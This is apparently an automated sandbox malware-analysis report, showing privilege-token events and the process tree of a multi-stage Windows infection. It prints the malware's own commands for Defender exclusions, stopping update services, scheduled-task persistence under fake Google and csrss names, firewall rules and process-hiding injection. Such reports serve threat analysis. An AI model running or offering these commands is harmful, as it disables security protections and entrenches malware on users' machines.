| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\source1.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2035040.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2035040.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2556104.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2556104.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3408 -ip 3408
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3408 -s 204
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b9918659.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b9918659.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3224 -ip 3224
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3224 -s 152
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4376 -ip 4376
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4376 -s 552
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c4779435.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c4779435.exe
C:\Users\Admin\AppData\Local\Temp\3062.exe
C:\Users\Admin\AppData\Local\Temp\3062.exe
C:\Users\Admin\AppData\Local\Temp\3360.exe
C:\Users\Admin\AppData\Local\Temp\3360.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\TC8GG4oS.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\TC8GG4oS.exe
C:\Users\Admin\AppData\Local\Temp\33DE.bat
"C:\Users\Admin\AppData\Local\Temp\33DE.bat"
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Bb7ie3oC.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Bb7ie3oC.exe
C:\Users\Admin\AppData\Local\Temp\3537.exe
C:\Users\Admin\AppData\Local\Temp\3537.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vg7CY8Fv.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vg7CY8Fv.exe
C:\Users\Admin\AppData\Local\Temp\35E4.exe
C:\Users\Admin\AppData\Local\Temp\35E4.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3276 -ip 3276
C:\Users\Admin\AppData\Local\Temp\3837.exe
C:\Users\Admin\AppData\Local\Temp\3837.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\KI6yN2Co.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\KI6yN2Co.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 384
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1pU73RN0.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1pU73RN0.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3328 -ip 3328
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3328 -s 220
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3416 -ip 3416
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 568
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1884 -ip 1884
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 540
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2kz988Mj.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2kz988Mj.exe
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3582.tmp\3583.tmp\3584.bat C:\Users\Admin\AppData\Local\Temp\33DE.bat"
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:R" /E
C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:N"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:R" /E
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff931c246f8,0x7ff931c24708,0x7ff931c24718
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff931c246f8,0x7ff931c24708,0x7ff931c24718
C:\Users\Admin\AppData\Local\Temp\70AD.exe
C:\Users\Admin\AppData\Local\Temp\70AD.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2616 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,2812434334938846517,8784750003835365875,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,2812434334938846517,8784750003835365875,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4028 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Users\Admin\AppData\Local\Temp\source1.exe
"C:\Users\Admin\AppData\Local\Temp\source1.exe"
C:\Users\Admin\AppData\Local\Temp\86E5.exe
C:\Users\Admin\AppData\Local\Temp\86E5.exe
C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
C:\Users\Admin\AppData\Local\Temp\8CD2.exe
C:\Users\Admin\AppData\Local\Temp\8CD2.exe
C:\Users\Admin\AppData\Local\Temp\9510.exe
C:\Users\Admin\AppData\Local\Temp\9510.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 460 -ip 460
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 460 -s 804
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5144 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5924 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,11183473624234136512,5177819580805738432,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5924 /prefetch:8
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\windefender.exe
C:\Windows\windefender.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
